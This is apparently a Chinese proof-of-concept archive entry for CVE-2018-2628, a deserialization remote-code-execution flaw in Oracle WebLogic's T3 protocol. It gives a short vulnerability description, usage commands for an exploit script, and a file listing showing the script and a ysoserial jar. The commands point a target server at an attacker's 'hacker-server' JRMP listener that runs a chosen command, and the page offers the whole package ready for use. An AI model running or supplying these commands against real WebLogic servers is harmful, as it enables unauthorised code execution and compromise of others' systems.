关联漏洞
标题：Oracle Fusion Middleware 代码问题漏洞 (CVE-2018-2628)描述：Oracle WebLogic Server是美国甲骨文（Oracle）公司的一款适用于云环境和传统环境的应用服务器，它提供了一个现代轻型开发平台，支持应用从开发到生产的整个生命周期管理，并简化了应用的部署和管理。WLS Core是其中的一个核心组件。 Oracle WebLogic Server中的WLS核心组件存在远程代码执行漏洞。攻击者可通过远程发送攻击数据，借助T3协议在WebLogic Server中执行反序列化操作利用该漏洞执行代码。以下版本受到影响：Oracle WebLogic Serve
描述
weblogic-cve-2018-2628-exp
介绍
# weblogic-cve-2018-2628
weblogic-cve-2018-2628-exp
python2 weblogic-cve-2018-2628-exp.py [targetip targetport] ysoserial-0.1-cve-2018-2628-all.jar [bindip bindport] JRMPClient
python weblogic-cve-2018-2628-exp.py [weblogic-server] 7001 ysoserial-0.1-cve-2018-2628-all.jar [hacker-server] 2333 JRMPClient
java -cp [toolname] ysoserial.exploit.JRMPListener [bindport] [jdkversion] [command]
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 2333 Jdk7u21 "calc.exe"
文件快照
[4.0K] /data/pocs/ba3e3b2bab8a0e65a3c42a2fc27ea53caaaa37f3
├── [ 500] README.md
├── [8.2K] weblogic-cve-2018-2628-exp.py
└── [7.0M] ysoserial-0.1-cve-2018-2628-all.jar
0 directories, 3 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。